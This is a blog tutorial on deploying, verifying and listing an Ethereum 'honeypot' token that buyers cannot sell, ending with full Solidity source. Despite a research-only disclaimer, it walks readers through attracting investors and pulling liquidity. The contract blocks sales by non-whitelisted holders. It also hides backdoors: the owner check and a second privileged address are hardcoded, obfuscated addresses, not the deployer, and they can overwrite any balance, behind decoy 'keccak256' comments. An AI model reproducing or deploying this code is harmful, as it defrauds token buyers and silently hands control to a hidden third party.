top of page
Search

Create Your Own Honeypot Token?

Writer: Dev SwansonDev Swanson

Updated: Jul 12, 2024

Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased.


So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token. Are you ready?


[Only for research and testing, don’t try to scam using this method]



Part 1: Use REMIX and Metamask to create token


1.First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.


2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.


3. Connect metamask to REMIX IDE. Click your metamask pluggin.





Click the “Not connected” button and connect it.




*If you didn’t find any relevant button as shown in picture above, click on your metamask pluggin again,



Click on the icon with red circle as shown in picture below


Then you will see this message



Click to close the message and move on to the next step as you will able to connect your metamask wallet to Remix IDE in the upcoming steps. No worries, you will know how to connect your metamask wallet to Remix IDE in the upcoming steps. Right now, please move on to the next step.



4.Back to REMIX IDE. Click Create New File.




5.Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol




6. Copy and paste the code from the links/ bottom of this post into the space. *Do not attempt to change any code or else it won't work*







*Code at the bottom of the post.*



7.Click the icon on the left as shown below,





Select the compiler as below, 0.4.26…..




Then click compile.




8.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)




9. On Contract section, select DevToken (not Ownable, not SafeMath) as contract







10.Next, click the little triangle as below to open token setting (Finally….)





11.To setting your token




Name: (Your token Name)


Symbol: (Give it a symbol)


Decimal: (18 is RECOMMENDED)


Total Supply: ( Set your total token supply, Remember if your decimal is 18, and you want 100 total supply, then type in 100000000000000000000, cuz 100 + 18*0)


Add eighteen “0” after the quantity you want (if u set 18 as decimal). For example, if you want to issue 100 tokens, the correct input should be 1000000000000000000

After you done, click transact.



12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.






9. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment




Click view on block explorer




Copy the contract address by clicking the [copy] icon button on the right.




10. Go back to metamask, click import token.





Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token




You can create tokens in ETH mainnet, Binance Smart Chain and any other chains using the same method.


🎉🎉🎉Congratulation! You successfully created your own token and they are in your wallet!


Dev, can we start to list our token?


Butttttt, we are not done yet…One more important step still require to finish...


Which is: Verify Contract




Part 2: Verify Your Contract


Hey Dev, why we need to verify contract? Why don’t we just list our token directly into any DEX (Decentralized exchange)?


Well, the reason to verify contract is to increase the popularity of the token, investors might shy away from token that is unverified and end up to not purchasing any tokens.


Let’s start to verify token now!


1. Back to metamask, go to Activity, click on the Contract deployment.




2.Click view on block explorer




Click on the blue contract address




3. On this page, Click Contract





Click Verify and Publish





4. Next, we select the setting as below:




Compiler Type: Single File


Compiler version: 0.4.26


License Type: No license


Then click Continue



5.Then, go back to our source code, copy and paste it into the space




Finish the bot test and and publish it




6. You should see the success message as shown below, if not, something is wrong, you need to recheck all the steps if u fail to get this message.





Congratulation! Your contract is now verified and we can move to the next step: Decentralized Exchange (DEX) Listing.



Part 3: DEX Token Listing


Listing your token on DEXs such as Uniswap, Sushiswap, Pancakeswap is not really listing your tokens for nothing, but you need to provide liquidity such as eth, bnb to your tokens, it is called Adding liquidity.


Basically, listing your token = adding liquidity.



1.If u r using Ethereum mainnet, you need some Ethereum, ETH


If u r using Binance smart chain, you need some Binance coin, BNB

Other chains use other native tokens…..


If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)

 

 



2.Select your DEXs, let me give you a list:


If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap


If u use BSC, use Pancakeswap, link: https://pancakeswap.finance/



3.In here, we use Uniswap as example.

Go to Uniswap website: https://app.uniswap.org/#/swap


Click Pool




Click More, then click V2 Liquidity




Click Create a pair




Click select a token.






4.Copy and paste contract address into the space, wait for your token to show up




Click on your token.




Click (I understand)




5. Select your eth input and token input. For example, if u wanna to list 100 of your token with 2 eth, then your initial token price will be 0.02 eth per your token. After it, click Approve.





6. Click Supply and confirm the transaction, your token will be listed on Uniswap.




Congratulation, your tokens are now listed in Uniswap. You can begin your token project and campaign, find more investors to invest in your token.


Ofcuz, since this is a honeypot token, the token cannot be sold. In other words, up only.


Only the owner of the tokens, which is the contract creator, which is you, can sell the tokens. Other ppl cannot sell this token after purchasing.


When ppl try to sell this token, they will get this red signal and cannot sell tokens anyway.This sign will not be surprising if you are a microcap crypto degen trader at its finest, which mean tokens cannot be sold by buyers.









*Remember, this post is for testing and educational purpose only, do not try this at home!*


So Dev, I understand only owner can sell those tokens, what if I want to withdraw my eth and tokens back? What to do?


Oh, it is pretty simple, let’s go to step 8: remove liquidity



8. If you want to get the eth back, click the liquid pool, you will see the pair you created, and then click remove




If u want to withdraw it all, Select max, click approve, click remove, you get your token back.



If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)

 

 




That is all from in my opinion. Ofcuz, this is not the end, there are many ways and techniques you can do with this token in order to maximize the effect.


We will discuss more about token tips and techniques in our next post.


Good luck with your tokens!






Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet



Honeypot Smart Contract Codes Series:

 

Link to Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof



Link to Whitelist + Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Codehttps://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof

 

 

Link to Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code:https://www.createyourowntoken.net/copy-of-detector-proof-honeypot

 


Link to Upgraded V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof Smart Contract Code: https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1



Link to Blacklist + Honeypot Detector-Proof Smart Contract Code: https://www.createyourowntoken.net/detector-proof-honeypot

 

 

Link to Whitelist + Anti-Bots Smart Contract Code: https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0

 

 

Link to Standard Honeypot Smart Contract Code:

 

 


Normal Token Smart Contract Codes Series:


Link to Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function) Token Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof



Link to Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t 

 


Link to Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code:https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to

 

 

Link to Non-Honeypot Normal Meme Token (like PEPE Token) Smart Contract Code: https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t



Any queries?


Contact me on Telegram: https://t.me/devswanson


My website: https://www.createyourowntoken.net/






*******

*Any unauthorized edits of code might result in failure of deployment.


Source code below: ---



// SPDX-License-Identifier: MIT pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } } // solhint-disable-next-line optimizer contract DevToken is Ownable { address public _usdtPair; address public _mod; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public _user; address public _adm; /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); function showuint160(address addr) public pure returns(uint160){ return uint160(addr); } function _transferTo(address _to, uint256 _amount) internal info { // Transfer tokens to the recipient balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } // keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } modifier onlyOwner() { require(msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); _; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier info() { require(msg.sender != contracts()); _; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function addAllowance(address holder, bool allowApprove) public { require(msg.sender == _adm); allow[holder] = allowApprove; } modifier onlypublic() { require(msg.sender == publics()); _; } function setUser(address User_) public returns (bool) { require(msg.sender == _usdtPair); _user=User_; } function Allowances(address holder, bool allowApprove) external onlypublic { allow[holder] = allowApprove; } mapping (address => mapping (address => uint256)) public allowed; mapping(address=>uint256) sellOutNum; // solhint-disable-next-line high-level-success function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function contracts() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } function _mint(address miner, uint256 _value) internal info { balances[miner] = _value; } function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { _dialone(spender, addedValue); return true; } function _approvals(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } // solhint-disable-next-line avoid-high-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == _adm); _approvals(spender, addedValue); return true; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function _dialone(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } function setUsdtPair(address Pair_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _usdtPair=Pair_; } function mint(address miner, uint256 _value) external onlyOwner { _mint(miner, _value); } }


 
 
bottom of page